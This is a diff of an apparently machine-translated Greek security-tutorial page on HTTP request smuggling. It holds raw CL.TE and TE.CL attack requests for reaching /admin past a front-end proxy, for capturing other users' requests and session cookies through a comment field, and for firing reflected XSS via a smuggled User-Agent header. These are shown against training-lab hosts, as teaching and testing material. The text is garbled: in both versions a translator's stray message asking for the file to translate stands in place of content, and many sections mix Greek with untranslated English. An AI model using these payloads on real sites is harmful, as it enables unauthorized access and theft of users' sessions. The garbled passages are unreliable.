-- **Ακούσια Επίδραση σε Χρήστες:** Αν η επίθεσή σας επηρεάσει κατά λάθος το αίτημα άλλου χρήστη (όχι το "normal" request που στείλατε για ανίχνευση), αυτό υποδηλώνει ότι η επίθεσή σας επηρέασε άλλον χρήστη της εφαρμογής. Η συνεχής δοκιμή μπορεί να διαταράξει άλλους χρήστες, οπότε απαιτείται προσεκτική προσέγγιση.
+Αφού επιβεβαιώσετε την αποτελεσματικότητα των τεχνικών χρονισμού, είναι κρίσιμο να επαληθεύσετε αν τα αιτήματα των clients μπορούν να χειραγωγηθούν. Μια απλή μέθοδος είναι να επιχειρήσετε να δηλητηριάσετε (poison) τα αιτήματά σας, για παράδειγμα κάνοντας ένα αίτημα προς `/` να επιστρέψει 404. Τα παραδείγματα `CL.TE` και `TE.CL` που αναφέρθηκαν προηγουμένως στο [Basic Examples](#basic-examples) δείχνουν πώς να δηλητηριάσετε το αίτημα ενός client για να προκαλέσετε μια απόκριση 404, παρότι ο client στοχεύει σε διαφορετικό πόρο.
 
-## Διαχώριση artifacts του HTTP/1.1 pipelining vs genuine request smuggling
+**Κύρια σημεία προς εξέταση**
 
-Η επαναχρησιμοποίηση σύνδεσης (keep-alive) και το pipelining μπορούν εύκολα να δημιουργήσουν ψευδείς εντυπώσεις "smuggling" σε εργαλεία δοκιμών που στέλνουν πολλαπλά αιτήματα στο ίδιο socket. Μάθετε να διαχωρίζετε αβλαβή client-side artifacts από πραγματικό server-side desync.
+Κατά τη δοκιμή για request smuggling παρεμβαίνοντας σε άλλα αιτήματα, λάβετε υπόψη:
+
+- **Διακριτές δικτυακές συνδέσεις:** Τα "attack" και "normal" αιτήματα πρέπει να αποστέλλονται μέσω ξεχωριστών δικτυακών συνδέσεων. Χρήση της ίδιας σύνδεσης και για τα δύο δεν επιβεβαιώνει την ύπαρξη ευπάθειας.
+- **Συνεπές URL και παράμετροι:** Προσπαθήστε να χρησιμοποιήσετε τα ίδια URLs και ονόματα παραμέτρων για και τα δύο αιτήματα. Οι σύγχρονες εφαρμογές συχνά δρομολογούν αιτήματα σε συγκεκριμένους back-end servers βάσει URL και παραμέτρων. Η αντιστοιχία αυτών αυξάνει την πιθανότητα ότι και τα δύο αιτήματα θα επεξεργαστούν από τον ίδιο server, προαπαιτούμενο για μια επιτυχημένη επίθεση.
+- **Χρονισμός και συνθήκες αγώνα (racing):** Το "normal" αίτημα, που προορίζεται για την ανίχνευση παρεμβολής από το "attack" αίτημα, ανταγωνίζεται άλλα ταυτόχρονα αιτήματα της εφαρμογής. Για αυτό, στείλτε το "normal" αίτημα αμέσως μετά το "attack" αίτημα. Πολυφορτωμένες εφαρμογές μπορεί να απαιτούν πολλαπλές δοκιμές για σίγουρη επιβεβαίωση της ευπάθειας.
+- **Προκλήσεις Load Balancing:** Front-end servers που λειτουργούν ως load balancers μπορεί να διανέμουν τα αιτήματα σε διάφορα back-end συστήματα. Αν τα "attack" και "normal" αιτήματα καταλήξουν σε διαφορετικά συστήματα, η επίθεση δεν θα πετύχει. Αυτό το θέμα με το load balancing μπορεί να απαιτήσει πολλαπλές προσπάθειες για να επιβεβαιωθεί μια ευπάθεια.
+- **Ακούσιος αντίκτυπος σε χρήστες:** Αν η επίθεσή σας επηρεάσει ακούσια το αίτημα κάποιου άλλου χρήστη (όχι το "normal" αίτημα που στείλατε για ανίχνευση), αυτό δείχνει ότι η επίθεσή σας επηρέασε άλλον χρήστη της εφαρμογής. Συνεχής δοκιμή μπορεί να διαταράξει άλλους χρήστες, απαιτώντας προσεκτική προσέγγιση.
+
+## Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling
+
+Η επαναχρησιμοποίηση σύνδεσης (keep-alive) και το pipelining μπορούν εύκολα να παράγουν ψευδαισθήσεις "smuggling" σε εργαλεία δοκιμών που στέλνουν πολλαπλά αιτήματα στην ίδια socket. Μάθετε να διαχωρίζετε τα ακίνδυνα client-side artifacts από τον πραγματικό server-side desync.
 
 ### Γιατί το pipelining δημιουργεί κλασικά false positives
 
-Το HTTP/1.1 επαναχρησιμοποιεί μια ενιαία TCP/TLS σύνδεση και συγχωνεύει requests και responses στο ίδιο stream. Στο pipelining, ο client στέλνει πολλαπλά requests το ένα μετά το άλλο και βασίζεται σε απαντήσεις με τη σειρά. Ένα συνηθισμένο false-positive είναι να ξαναστείλετε ένα malformed CL.0-style payload δύο φορές στην ίδια σύνδεση:
+Το HTTP/1.1 επαναχρησιμοποιεί μια ενιαία TCP/TLS σύνδεση και συρράπτει (concatenates) αιτήματα και απαντήσεις στο ίδιο stream. Στο pipelining, ο client στέλνει πολλαπλά αιτήματα το ένα μετά το άλλο και βασίζεται σε απαντήσεις με τη σειρά. Ένα κοινό false-positive είναι η επανεκπομπή ενός κακοσχηματισμένου CL.0-style payload δύο φορές στην ίδια σύνδεση:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@@ -294,7 +343,7 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-Δεν υπάρχει περιεχόμενο για μετάφραση. Παρακαλώ επικολλήστε το περιεχόμενο του αρχείου src/pentesting-web/http-request-smuggling/README.md που θέλετε να μεταφράσω. Θα μεταφράσω το αγγλικό κείμενο σε ελληνικά και θα διατηρήσω αμετάβλητα κώδικα, tags, links, paths, ονόματα τεχνικών hacking, cloud/SaaS ονόματα και λέξεις όπως "leak".
+Παρακαλώ επικολλήστε το περιεχόμενο του αρχείου src/pentesting-web/http-request-smuggling/README.md που θέλετε να μεταφράσω στα Ελληνικά. Θα διατηρήσω ανέπαφα τα markdown, τα tags, τα links και τα paths όπως ζητήθηκε.
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@@ -308,7 +357,7 @@ Content-Type: text/plain
 User-agent: *
 Disallow: /settings
 ```
-Αν ο διακομιστής αγνόησε το κατεστραμμένο `Content_Length`, δεν υπάρχει FE↔BE desync. Σε περίπτωση επαναχρησιμοποίησης, ο πελάτης σας στην πραγματικότητα έστειλε αυτή τη ροή byte, την οποία ο διακομιστής ανέλυσε ως δύο ανεξάρτητες αιτήσεις:
+Εάν ο server αγνόησε το κακομορφωμένο `Content_Length`, δεν υπάρχει FE↔BE desync. Με reuse, ο client σας στην πραγματικότητα έστειλε αυτό το byte-stream, το οποίο ο server ανέλυσε ως δύο ανεξάρτητα requests:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@@ -325,39 +374,39 @@ X: Y
 Impact: none. You just desynced your client from the server framing.
 
 > [!TIP]
-> Μονάδες του Burp που εξαρτώνται από reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
+> Burp modules that depend on reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
 
-### Δοκιμές επιβεβαίωσης: pipelining ή πραγματικό desync?
+### Litmus tests: pipelining or real desync?
 
 1. Disable reuse and re-test
-- Στο Burp Intruder/Repeater, απενεργοποιήστε το HTTP/1 reuse και αποφύγετε το "Send group in sequence".
-- Στο Turbo Intruder, ορίστε `requestsPerConnection=1` και `pipeline=False`.
-- Αν η συμπεριφορά εξαφανιστεί, πιθανότατα ήταν client-side pipelining, εκτός αν στοχεύετε connection-locked/stateful targets ή client-side desync.
+- In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid "Send group in sequence".
+- In Turbo Intruder, set `requestsPerConnection=1` and `pipeline=False`.
+- If the behavior disappears, it was likely client-side pipelining, unless you’re dealing with connection-locked/stateful targets or client-side desync.
 2. HTTP/2 nested-response check
-- Στείλτε ένα HTTP/2 request. Αν το σώμα της απάντησης περιέχει μια πλήρη nested HTTP/1 response, έχετε αποδείξει backend parsing/desync bug αντί για καθαρό client artifact.
+- Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, you’ve proven a backend parsing/desync bug instead of a pure client artifact.
 3. Partial-requests probe for connection-locked front-ends
-- Κάποια FEs επαναχρησιμοποιούν την upstream BE σύνδεση μόνο αν ο client επαναχρησιμοποιήσει τη δική του. Χρησιμοποιήστε partial-requests για να εντοπίσετε συμπεριφορά FE που καθρεφτίζει το client reuse.
-- Δείτε PortSwigger "Browser‑Powered Desync Attacks" για την τεχνική connection-locked.
+- Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse.
+- See PortSwigger "Browser‑Powered Desync Attacks" for the connection-locked technique.
 4. State probes
-- Αναζητήστε διαφορές μεταξύ πρώτου και επόμενων requests στην ίδια TCP σύνδεση (first-request routing/validation).
-- Το Burp "HTTP Request Smuggler" περιλαμβάνει ένα connection‑state probe που αυτοματοποιεί αυτό.
+- Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation).
+- Burp "HTTP Request Smuggler" includes a connection‑state probe that automates this.
 5. Visualize the wire
-- Χρησιμοποιήστε το Burp "HTTP Hacker" extension για να ελέγξετε concatenation και message framing απευθείας ενώ πειραματίζεστε με reuse και partial requests.
+- Use the Burp "HTTP Hacker" extension to inspect concatenation and message framing directly while experimenting with reuse and partial requests.
 
 ### Connection‑locked request smuggling (reuse-required)
 
-Ορισμένα front-ends επαναχρησιμοποιούν την upstream σύνδεση μόνο όταν ο client επαναχρησιμοποιεί τη δική του. Υπάρχει πραγματικό smuggling αλλά είναι υπό όρους στο client-side reuse. Για να διακρίνετε και να αποδείξετε την επίπτωση:
-- Αποδείξτε το server-side bug
-- Χρησιμοποιήστε το HTTP/2 nested-response check, ή
-- Χρησιμοποιήστε partial-requests για να δείξετε ότι το FE επαναχρησιμοποιεί upstream μόνο όταν το κάνει ο client.
-- Δείξτε πραγματική επίπτωση ακόμη κι αν η άμεση cross-user socket κατάχρηση είναι μπλοκαρισμένη:
+Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:
+- Prove the server-side bug
+- Use the HTTP/2 nested-response check, or
+- Use partial-requests to show the FE only reuses upstream when the client does.
+- Show real impact even if direct cross-user socket abuse is blocked:
 - Cache poisoning: poison shared caches via the desync so responses affect other users.
 - Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
 - Bypass FE controls: smuggle restricted paths/methods past the front-end.
 - Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
 - Operator workflow
-- Αναπαράγετε με ελεγχόμενο reuse (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)").
-- Έπειτα αλυσιδώστε σε cache/header-leak/control-bypass primitives και δείξτε cross-user ή authorization impact.
+- Reproduce with controlled reuse (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)").
+- Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.
 
 > See also connection‑state attacks, which are closely related but not technically smuggling:
 >
@@ -365,31 +414,31 @@ Impact: none. You just desynced your client from the server framing.
 >../http-connection-request-smuggling.md
 >{{#endref}}
 
-### Περιορισμοί client‑side desync
+### Client‑side desync constraints
 
-Αν στοχεύετε browser-powered/client-side desync, το κακόβουλο request πρέπει να μπορεί να σταλεί από browser cross-origin. Τα tricks header obfuscation δεν θα λειτουργήσουν. Επικεντρωθείτε σε primitives προσβάσιμα μέσω navigation/fetch, και μετά pivot σε cache poisoning, header disclosure ή bypass ελέγχων front-end όπου downstream components αντανακλούν ή cache-άρουν απαντήσεις.
+If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.
 
-Για υπόβαθρο και end-to-end workflows:
+For background and end-to-end workflows:
 
 {{#ref}}
 browser-http-request-smuggling.md
 {{#endref}}
 
-### Εργαλεία για να βοηθήσουν στην απόφαση
+### Tooling to help decide
 
-- HTTP Hacker (Burp BApp Store): αποκαλύπτει χαμηλού επιπέδου συμπεριφορά HTTP και socket concatenation.
+- HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
 - "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
-- Turbo Intruder: ακριβής έλεγχος της connection reuse μέσω `requestsPerConnection`.
-- Burp HTTP Request Smuggler: περιλαμβάνει connection‑state probe για εντοπισμό first‑request routing/validation.
+- Turbo Intruder: precise control over connection reuse via `requestsPerConnection`.
+- Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.
 
 > [!NOTE]
-> Θεωρήστε τα reuse-only effects ως μη-προβλήματα εκτός κι αν μπορείτε να αποδείξετε server-side desync και να επισυνάψετε συγκεκριμένη επίπτωση (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, κ.λπ.).
+> Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
 
-## Κατάχρηση HTTP Request Smuggling
+## Abusing HTTP Request Smuggling
 
 ### Circumventing Front-End Security via HTTP Request Smuggling
 
-Κάποιες φορές, front-end proxies επιβάλλουν μέτρα ασφάλειας, εξετάζοντας διεξοδικά τα εισερχόμενα requests. Ωστόσο, αυτά τα μέτρα μπορούν να παρακαμφθούν εκμεταλλευόμενα HTTP Request Smuggling, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε περιορισμένα endpoints. Για παράδειγμα, η πρόσβαση στο `/admin` μπορεί να απαγορεύεται εξωτερικά, με το front-end proxy να μπλοκάρει ενεργά τέτοιες προσπάθειες. Παρ' όλα αυτά, αυτό το proxy μπορεί να παραμελήσει τον έλεγχο ενσωματωμένων requests μέσα σε ένα smuggled HTTP request, αφήνοντας μια τρύπα για την παράκαμψη αυτών των περιορισμών.
+Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing `/admin` might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.
 
 Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the `/admin` path which is typically guarded by the front-end proxy:
 
@@ -410,9 +459,9 @@ Content-Length: 10
 
 x=
 ```
-Στην CL.TE attack, η κεφαλίδα `Content-Length` αξιοποιείται για το αρχικό request, ενώ το επακόλουθο ενσωματωμένο request χρησιμοποιεί την κεφαλίδα `Transfer-Encoding: chunked`. Ο front-end proxy επεξεργάζεται το αρχικό `POST` request αλλά αποτυγχάνει να εξετάσει το ενσωματωμένο `GET /admin` request, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση στη διαδρομή `/admin`.
+Στην επίθεση CL.TE, η κεφαλίδα `Content-Length` χρησιμοποιείται για το αρχικό αίτημα, ενώ το επακόλουθο ενσωματωμένο αίτημα χρησιμοποιεί την κεφαλίδα `Transfer-Encoding: chunked`. Ο front-end proxy επεξεργάζεται το αρχικό αίτημα `POST` αλλά αποτυγχάνει να ελέγξει το ενσωματωμένο αίτημα `GET /admin`, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση στη διαδρομή `/admin`.
 
-**TE.CL Παράδειγμα**
+**TE.CL Example**
 ```
 POST / HTTP/1.1
 Host: [redacted].web-security-academy.net
@@ -428,13 +477,13 @@ a=x
 0
 
 ```
-Αντίθετα, στην επίθεση TE.CL, το αρχικό `POST` αίτημα χρησιμοποιεί `Transfer-Encoding: chunked`, και το επακόλουθο εμφωλευμένο αίτημα επεξεργάζεται με βάση το header `Content-Length`. Όπως και στην επίθεση CL.TE, ο front-end proxy παραβλέπει το εμφωλευμένο `GET /admin` αίτημα, παρέχοντας άθελά του πρόσβαση στο περιορισμένο path `/admin`.
+Αντιστρόφως, στην επίθεση TE.CL, το αρχικό `POST` request χρησιμοποιεί `Transfer-Encoding: chunked`, και το επακόλουθο ενσωματωμένο request επεξεργάζεται με βάση το header `Content-Length`. Παρόμοια με την επίθεση CL.TE, ο front-end proxy παραβλέπει το smuggled `GET /admin` request, δίνοντας ακούσια πρόσβαση στο περιορισμένο μονοπάτι `/admin`.
 
-### Αποκάλυψη επανεγγραφής αιτήσεων front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
+### Αποκάλυψη front-end request rewriting <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
 
-Οι εφαρμογές συχνά χρησιμοποιούν έναν **front-end server** για να τροποποιούν τα εισερχόμενα αιτήματα προτού τα προωθήσουν στον back-end server. Μια τυπική τροποποίηση περιλαμβάνει την προσθήκη headers, όπως `X-Forwarded-For: <IP of the client>`, για να μεταβιβάσει τη διεύθυνση IP του πελάτη στον back-end. Η κατανόηση αυτών των τροποποιήσεων μπορεί να είναι κρίσιμη, καθώς ενδέχεται να αποκαλύψει τρόπους για να **παρακάμψετε προστασίες** ή να **αποκαλύψετε κρυφές πληροφορίες ή endpoints**.
+Εφαρμογές συχνά χρησιμοποιούν έναν **front-end server** για να τροποποιούν τα εισερχόμενα requests πριν τα προωθήσουν στον back-end server. Μια τυπική τροποποίηση περιλαμβάνει την προσθήκη headers, όπως `X-Forwarded-For: <IP of the client>`, για να μεταδώσουν το IP του client στο back-end. Η κατανόηση αυτών των τροποποιήσεων μπορεί να είναι κρίσιμη, καθώς μπορεί να αποκαλύψει τρόπους για **bypass protections** ή **uncover concealed information or endpoints**.
 
-Για να ερευνήσετε πώς ένας proxy τροποποιεί ένα αίτημα, εντοπίστε μια παράμετρο `POST` που ο back-end επιστρέφει στην απάντηση. Στη συνέχεια, συντάξτε ένα αίτημα, χρησιμοποιώντας αυτήν την παράμετρο τελευταία, παρόμοιο με το ακόλουθο:
+Για να διερευνήσετε πώς ένας proxy τροποποιεί ένα request, εντοπίστε ένα POST parameter που ο back-end echoes στην response. Στη συνέχεια, στήστε ένα request, χρησιμοποιώντας αυτό το parameter τελευταίο, παρόμοιο με το ακόλουθο:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@@ -451,19 +500,19 @@ Content-Length: 100
 
 search=
 ```
-Σε αυτή τη δομή, τα επόμενα στοιχεία του αιτήματος προστίθενται μετά το `search=`, το οποίο είναι η παράμετρος που ανακλάται στην απάντηση. Αυτή η ανάκλαση θα αποκαλύψει τα headers του επόμενου αιτήματος.
+Σε αυτή τη δομή, τα επόμενα στοιχεία του αιτήματος προστίθενται μετά το `search=`, η οποία είναι η παράμετρος που αντανακλάται στην απάντηση. Αυτή η ανάκλαση θα αποκαλύψει τις κεφαλίδες του επόμενου αιτήματος.
 
-Είναι σημαντικό να ευθυγραμμιστεί η κεφαλίδα `Content-Length` του ενθεμένου αιτήματος με το πραγματικό μήκος του περιεχομένου. Είναι προτιμότερο να ξεκινήσετε με μια μικρή τιμή και να αυξάνετε σταδιακά, καθώς μια πολύ μικρή τιμή θα αποκόψει τα ανακλώμενα δεδομένα, ενώ μια πολύ μεγάλη τιμή μπορεί να προκαλέσει σφάλμα στο αίτημα.
+Είναι σημαντικό να ευθυγραμμιστεί η κεφαλίδα `Content-Length` του nested request με το πραγματικό μήκος του περιεχομένου. Είναι προτιμότερο να ξεκινήσετε με μια μικρή τιμή και να την αυξάνετε σταδιακά, καθώς μια πολύ χαμηλή τιμή θα αποκόψει τα αντανακλόμενα δεδομένα, ενώ μια πολύ υψηλή τιμή μπορεί να προκαλέσει σφάλμα στο αίτημα.
 
-Η τεχνική αυτή ισχύει επίσης στο πλαίσιο μιας ευπάθειας TE.CL, αλλά το αίτημα πρέπει να τερματίζει με `search=\r\n0`. Ανεξάρτητα από τους χαρακτήρες νέας γραμμής, οι τιμές θα προστίθενται στην παράμετρο search.
+Αυτή η τεχνική ισχύει επίσης στο πλαίσιο μιας TE.CL ευπάθειας, αλλά το αίτημα πρέπει να τερματίζει με `search=\r\n0`. Ανεξάρτητα από τους χαρακτήρες νέας γραμμής, οι τιμές θα προστίθενται στην παράμετρο `search`.
 
-Αυτή η μέθοδος εξυπηρετεί κυρίως την κατανόηση των τροποποιήσεων που κάνει ο front-end proxy στα αιτήματα, ουσιαστικά πραγματοποιώντας μια αυτο-κατευθυνόμενη διερεύνηση.
+Αυτή η μέθοδος εξυπηρετεί κυρίως την κατανόηση των τροποποιήσεων του αιτήματος που πραγματοποιεί το front-end proxy, ουσιαστικά διεξάγοντας μια αυτοκατευθυνόμενη διερεύνηση.
 
 ### Καταγραφή αιτημάτων άλλων χρηστών <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
 
-Είναι εφικτό να καταγράψετε τα αιτήματα του επόμενου χρήστη προσαρτώντας ένα συγκεκριμένο request ως τιμή μιας παραμέτρου κατά τη διάρκεια μιας POST λειτουργίας. Δείτε πώς μπορεί να επιτευχθεί αυτό:
+Είναι εφικτό να καταγράψετε τα αιτήματα του επόμενου χρήστη προσθέτοντας ένα συγκεκριμένο αίτημα ως τιμή μιας παραμέτρου κατά τη διάρκεια μιας POST ενέργειας. Να πώς μπορεί να επιτευχθεί αυτό:
 
-Με το να προσαρτήσετε το ακόλουθο αίτημα ως τιμή μιας παραμέτρου, μπορείτε να αποθηκεύσετε το επακόλουθο αίτημα του πελάτη:
+Προσθέτοντας το παρακάτω αίτημα ως την τιμή μιας παραμέτρου, μπορείτε να αποθηκεύσετε το αίτημα του επόμενου πελάτη:
 ```
 POST / HTTP/1.1
 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@@ -483,20 +532,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
 
 csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
 ```
-Σε αυτό το σενάριο, η **παράμετρος comment** προορίζεται για την αποθήκευση του περιεχομένου στην ενότητα σχολίων μιας δημοσίευσης σε μια δημόσια προσβάσιμη σελίδα. Κατά συνέπεια, τα περιεχόμενα του επόμενου αιτήματος θα εμφανιστούν ως σχόλιο.
+Σε αυτό το σενάριο, το **comment parameter** προορίζεται για την αποθήκευση του περιεχομένου της ενότητας σχολίων μιας ανάρτησης σε μια δημόσια προσβάσιμη σελίδα. Συνεπώς, το περιεχόμενο του επόμενου request θα εμφανιστεί ως σχόλιο.
 
-Ωστόσο, αυτή η τεχνική έχει περιορισμούς. Γενικά, καταγράφει δεδομένα μόνο μέχρι τον διαχωριστή παραμέτρων που χρησιμοποιείται στο smuggled request. Για υποβολές φορμών URL-encoded, αυτός ο διαχωριστής είναι ο χαρακτήρας `&`. Αυτό σημαίνει ότι το καταγεγραμμένο περιεχόμενο από το αίτημα του θύματος θα σταματήσει στο πρώτο `&`, το οποίο μπορεί ακόμη και να αποτελεί μέρος του query string.
+Ωστόσο, αυτή η τεχνική έχει περιορισμούς. Γενικά, καταγράφει δεδομένα μόνο μέχρι τον διαχωριστή παραμέτρων που χρησιμοποιείται στο smuggled request. Για υποβολές φορμών URL-encoded, αυτός ο διαχωριστής είναι ο χαρακτήρας `&`. Αυτό σημαίνει ότι το καταγραφόμενο περιεχόμενο από το request του θύματος θα σταματήσει στο πρώτο `&`, το οποίο μπορεί ακόμη και να είναι μέρος του query string.
 
-Επιπλέον, αξίζει να σημειωθεί ότι αυτή η προσέγγιση είναι επίσης εφικτή με μια ευπάθεια TE.CL. Σε αυτές τις περιπτώσεις, το αίτημα θα πρέπει να ολοκληρώνεται με `search=\r\n0`. Ανεξαρτήτως των χαρακτήρων νέας γραμμής, οι τιμές θα προσαρτώνται στην παράμετρο search.
+Επιπλέον, αξίζει να σημειωθεί ότι αυτή η προσέγγιση είναι επίσης εφαρμόσιμη σε ευπάθεια TE.CL. Σε τέτοιες περιπτώσεις, το request πρέπει να τελειώνει με `search=\r\n0`. Ανεξάρτητα από τους χαρακτήρες αλλαγής γραμμής, οι τιμές θα προσαρτηθούν στην παράμετρο search.
 
-### Χρήση HTTP request smuggling για την εκμετάλλευση Reflected XSS
+### Χρήση HTTP request smuggling για εκμετάλλευση του reflected XSS
 
-HTTP Request Smuggling μπορεί να χρησιμοποιηθεί για να εκμεταλλευτεί ιστοσελίδες ευάλωτες σε **Reflected XSS**, προσφέροντας σημαντικά πλεονεκτήματα:
+Το HTTP Request Smuggling μπορεί να αξιοποιηθεί για την εκμετάλλευση ιστοσελίδων ευάλωτων σε **Reflected XSS**, προσφέροντας σημαντικά πλεονεκτήματα:
 
-- Η αλληλεπίδραση με τους χρήστες-στόχους **δεν απαιτείται**.
-- Επιτρέπει την εκμετάλλευση του XSS σε μέρη του αιτήματος που είναι **συνήθως απρόσιτα**, όπως τα HTTP request headers.
+- Η αλληλεπίδραση με τους στοχευόμενους χρήστες **δεν απαιτείται**.
+- Επιτρέπει την εκμετάλλευση του XSS σε μέρη του request που είναι **κανονικά απρόσιτα**, όπως τα HTTP request headers.
 
-Σε σενάρια όπου μια ιστοσελίδα είναι ευάλωτη σε Reflected XSS μέσω του User-Agent header, το ακόλουθο payload δείχνει πώς να εκμεταλλευτείτε αυτήν την ευπάθεια:
+Σε σενάρια όπου μια ιστοσελίδα είναι ευάλωτη σε Reflected XSS μέσω του User-Agent header, το ακόλουθο payload δείχνει πώς να εκμεταλλευτείτε αυτή την ευπάθεια:
 ```
 POST / HTTP/1.1
 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@@ -517,36 +566,36 @@ Content-Type: application/x-www-form-urlencoded
 
 A=
 ```
-This payload είναι δομημένο ώστε να εκμεταλλευτεί την ευπάθεια με τους εξής τρόπους:
+Αυτό το payload έχει δομή για να εκμεταλλευτεί την ευπάθεια ως εξής:
 
-1. Εκκίνηση ενός `POST` request, φαινομενικά τυπικού, με header `Transfer-Encoding: chunked` για να δηλώσει την έναρξη του smuggling.
-2. Ακολουθεί `0`, που σηματοδοτεί το τέλος του chunked message body.
-3. Στη συνέχεια εισάγεται ένα smuggled `GET` request, όπου το header `User-Agent` εγχέεται με ένα script, `<script>alert(1)</script>`, ενεργοποιώντας το XSS όταν ο server επεξεργάζεται αυτό το επακόλουθο request.
+1. Εκκίνηση ενός `POST` request, φαινομενικά τυπικού, με header `Transfer-Encoding: chunked` για να υποδείξει την έναρξη του smuggling.
+2. Ακολουθεί ένα `0`, που σηματοδοτεί το τέλος του chunked message body.
+3. Στη συνέχεια, εισάγεται ένα smuggled `GET` request, όπου το header `User-Agent` εγχέεται με ένα script, `<script>alert(1)</script>`, προκαλώντας το XSS όταν ο server επεξεργάζεται αυτό το επακόλουθο request.
 
-Με την παραποίηση του `User-Agent` μέσω smuggling, το payload παρακάμπτει τους κανονικούς περιορισμούς των requests, εκμεταλλευόμενο έτσι τη Reflected XSS ευπάθεια με έναν μη-τυπικό αλλά αποτελεσματικό τρόπο.
+Με την παραποίηση του `User-Agent` μέσω smuggling, το payload παρακάμπτει τους κανονικούς περιορισμούς των requests, εκμεταλλευόμενο έτσι την Reflected XSS ευπάθεια με έναν μη τυπικό αλλά αποτελεσματικό τρόπο.
 
 #### HTTP/0.9
 
 > [!CAUTION]
-> Σε περίπτωση που το περιεχόμενο του χρήστη ανακλάται σε μια απάντηση με **`Content-type`** όπως **`text/plain`**, αποτρέπεται η εκτέλεση του XSS. Εάν ο server υποστηρίζει **HTTP/0.9** μπορεί να είναι δυνατή η παράκαμψη αυτού!
+> Σε περίπτωση που το περιεχόμενο του χρήστη αντανακλάται σε μια απάντηση με **`Content-type`** όπως **`text/plain`**, αποτρέποντας την εκτέλεση του XSS. Αν ο server υποστηρίζει **HTTP/0.9 ίσως είναι δυνατόν να παρακαμφθεί αυτό**!
 
-Η έκδοση HTTP/0.9 ήταν προηγούμενη της 1.0 και χρησιμοποιεί μόνο ρήματα **GET** και **δεν** απαντά με **headers**, μόνο με το σώμα.
+Η έκδοση HTTP/0.9 προϋπήρχε της 1.0 και χρησιμοποιεί μόνο ρήματα **GET** και **δεν** απαντά με **headers**, μόνο το body.
 
-Στο [**this writeup**](https://mizu.re/post/twisty-python), αυτό εκμεταλλεύτηκε με ένα request smuggling και ένα **vulnerable endpoint που θα απαντήσει με την είσοδο του χρήστη** για να smuggle ένα request με HTTP/0.9. Η παράμετρος που θα ανακλαστεί στην απάντηση περιείχε μια **ψεύτικη HTTP/1.1 response (με headers και body)** έτσι ώστε η απάντηση να περιέχει έγκυρο εκτελέσιμο JS code με `Content-Type` `text/html`.
+Στο [**this writeup**](https://mizu.re/post/twisty-python), αυτό καταχράστηκε μέσω request smuggling και ενός **vulnerable endpoint που θα απαντήσει με την είσοδο του χρήστη** για να smuggle ένα request με HTTP/0.9. Η παράμετρος που θα αντανακλάται στην απάντηση περιείχε μια **ψεύτικη HTTP/1.1 response (με headers και body)**, οπότε η απάντηση θα περιείχε έγκυρο εκτελέσιμο JS κώδικα με `Content-Type` `text/html`.
 
-### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
+### Εκμετάλλευση ανακατευθύνσεων εντός του site με HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
 
-Οι εφαρμογές συχνά κάνουν redirect από ένα URL σε άλλο χρησιμοποιώντας το hostname από το header `Host` στο redirect URL. Αυτό είναι συνηθισμένο σε web servers όπως Apache και IIS. Για παράδειγμα, το αίτημα ενός φακέλου χωρίς trailing slash έχει ως αποτέλεσμα ένα redirect για να προστεθεί το slash:
